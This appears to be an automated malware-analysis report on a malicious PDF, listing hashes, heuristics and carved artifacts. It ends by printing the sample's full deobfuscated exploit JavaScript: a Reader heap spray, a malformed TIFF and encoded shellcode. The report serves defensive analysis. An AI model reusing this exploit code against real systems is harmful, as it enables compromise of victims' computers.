Malicious PDF — malware analysis report

Static analysis result for SHA-256 0718efee45250ae7…

MALICIOUS

PDF

13.2 KB Created: 2011-03-17 06:13:43 Authoring application: ism sal First seen: 2026-05-08
MD5: 8e23fbfae3498fb251f1434635872b63 SHA-1: 2074d885bd622ae9ae4c5e211202c447d9d0e967 SHA-256: 0718efee45250ae7e227521cdfe4f8846f44b6d1818a4303621447b7e45337e0
72 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF sample contains malformed active content and an embedded JavaScript file, strongly indicating an exploit attempt. The JavaScript code appears to be designed to download and execute a second-stage payload, as suggested by the heap spraying and shellcode-like structures within the script. The ML classifier also flagged this PDF as malicious with high confidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://ns.adobe.com/xtd/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://ns.adobe.com/xfdf/In PDF document text
    • http://www.xfa.org/schema/xfa-form/2.8/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.5/In PDF document text

Extracted artifacts 8

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0014.bin pdf-embedded-file PDF EmbeddedFile object 14 at offset 0x1423 84 bytes
SHA-256: d81baa73e490e4cb879e13927cacd1dd1be37524a37eac51603e15117c578777
embedded_file_obj0015.bin pdf-embedded-file PDF EmbeddedFile object 15 at offset 0x14BF 228 bytes
SHA-256: 24c130f03a4cf51d470b536e94c1e58af67665739e200e0ce198ad41086243c0
embedded_file_obj0011.bin pdf-embedded-file PDF EmbeddedFile object 11 at offset 0x15EB 199 bytes
SHA-256: c97e0522381d6196cc0695f35f4d065f15c9c86a9601a7f776c6afd3f4c6b460
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x16FA 142 bytes
SHA-256: 160cb2758039da87a08ad3e92b6d10271f131e81048fac8f4071f3fb6321efc2
embedded_file_obj0010.bin pdf-embedded-file PDF EmbeddedFile object 10 at offset 0x17CF 77 bytes
SHA-256: e6c26a3478346d27e841ad49868ebf68bf4c6863b6750e8d60bda3c4c6f79876
embedded_file_obj0008.bin pdf-embedded-file PDF EmbeddedFile object 8 at offset 0x1862 56 bytes
SHA-256: 92a3ce61d783e15932b5de127ce45a9b4c2f98f4da2453f65241573c1dda808a
embedded_file_obj0005.bin pdf-embedded-file PDF EmbeddedFile object 5 at offset 0x1B96 5839 bytes
SHA-256: 34cb247f230ab910d1047ec4febab49f6a7886c8b07930f3562504df43651168
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
acroform_b64_00.js deobfuscated-js PDF AcroForm base64 (raw) at offset 0x1ED4 3694 bytes
SHA-256: bb85beb01663bd483be29dd282f736ccb151082086f2fc504cd365582b9bed52
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var __D = [21,13,20,26]; function UVm() { return app; } function eZu_(BbHgH) { var kXC = ''; kXC = unescape(BbHgH); return kXC; } function get_ver() { var ver = UVm().viewerVersion.toString(); ver = ver.replace('.',''); while(ver.length < 4) { ver += '0'; } ver = parseInt(ver,10); return ver; }function make_block(BbHgH,len){ while (BbHgH.length * 2 < len){ BbHgH += BbHgH; } BbHgH = BbHgH.substring(0, len / 2); return BbHgH; }function heap_spray3(scode) { scode = eZu_(scode); var sclen = scode.length * 2; var fill = eZu_("%u9090"); var spray = make_block(fill,0x2000 - sclen); var block = scode + spray; block = make_block(block,0x80000 - 0x40); for (var i = 0;i<0x190;i ++){ __D[i] = block.substr(0,block.length - 1) + fill; } return; }function make_str(BbHgH, len){ while (BbHgH.length < len){ BbHgH += BbHgH; } BbHgH = BbHgH.substring(0, len); return BbHgH; }function num2hex(num){ var BbHgH = num.toString(16); var len = BbHgH.length; var ret = (len % 2) ? '0' + BbHgH : BbHgH; return ret; }function str2uni(BbHgH){ var ret = ''; for (var i = 0;i < BbHgH.length;i += 2){ ret += "%u"; ret += num2hex(BbHgH.charCodeAt(i + 1)); ret += num2hex(BbHgH.charCodeAt(i)); } return ret; }function hex2str(hex){ var ret = ''; for (var i = 0;i < hex.length;i += 2){ var b = hex.substr(i,2); var num = parseInt(b,16); ret += String.fromCharCode(num); } return ret; }exploit();function exploit() { var ver = get_ver();if (ver >= 0x1f40) { var tiff = "SUkqADggAABB"; var nops = make_str("QUFB",0x2ae8); var start = "QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////"; var foot = ''; var sc_hex = '';if (ver < 0x2009) { foot = "o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK"; sc_hex = "4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141b0839090eb16b9310100008b342489f7803ee97406ac347faae2fac3e8e5ffffff96737e7f7f21fe93237e7f7ff698f2306ff2102b4ea4282e2c2c2c2c2c2c2c2a2c2c177b7e7f7f2a292c1710117f7f170a0d13122b17f131719397377f7f7f2f97037f7f7f80affcbb77173090307a2f97137f7f7f80affabf0a68152b268cd5170d81cc6997627f7f7f2f972e7f7f7f80af2c158117f6107ec297777f7f7f2f97437f7f7f80af1f4ebf1bf42f4ff42d73f42d6bf40d57c6677f7f7f4e804ebfd3431e037d535fbeb0727eb89d8ffe8024c33515f43d6ff46d0aa6f63b5b631ebc1ff4135b5bf43a43f42b7a077e95f43567f4255f7e949c4b36f44bf47e914e804ebf83d3fbbf0b78beb0727eb8948b44035b570a9ef4255b7e9419f47334f425637e94f47bf47e97f63b5b631ebd777f9790818080170b0b0f4550500a0c1a0d5113101c1e13500b1a0c0b511a071a7f";} else { foot = "kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK"; sc_hex = "4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141b0839090eb16b9310100008b342489f7803ee97406ac34bbaae2fac3e8e5ffffff52b7babbbbe53a57e7babbbb325c36f4ab36d4ef8a60eceae8e8e8e8e8e8e8eee8e8d3bfbabbbbeeede8d3d4d5bbbbd3cec9d7d6efd335f5b55753f3bbbbbbeb53c7bbbbbb446b387fb3d3f454f4beeb53d7bbbbbb446b3e7bceacd1efe24811d3c94508ad53a6bbbbbbeb53eabbbbbb446be8d145d332d4ba0653b3bbbbbbeb5387bbbbbb446bdb8a7bdf30eb8b30e9b730e9af30c99302a3bbbbbb8a448a7b1787dac7b9979b7a74b6ba7c594b3a44e007f1d130f9ab30a9ce6232ff9fa7da78db30d79f9f30fe8730efbec3ba5130f1a330e19bba50588ff2308f30ba558a448a7b47173f7bcfbc7a74b6ba7c504f80c79f93ce5a30e19fba50dd30b7f030e1a7ba5030bf30ba5332ff9fa7da79b3bb5354454444d3cfcfcb819494cec8dec995d7d4d8dad794cfdec8cf95dec3debb"; } if (foot.length) { var ret = [tiff,nops,start,foot].join(''); var sc_str = hex2str(sc_hex); var scode = str2uni(sc_str); heap_spray3(scode); Simplebutdontthinkiuntilar.rawValue = ret; } } }

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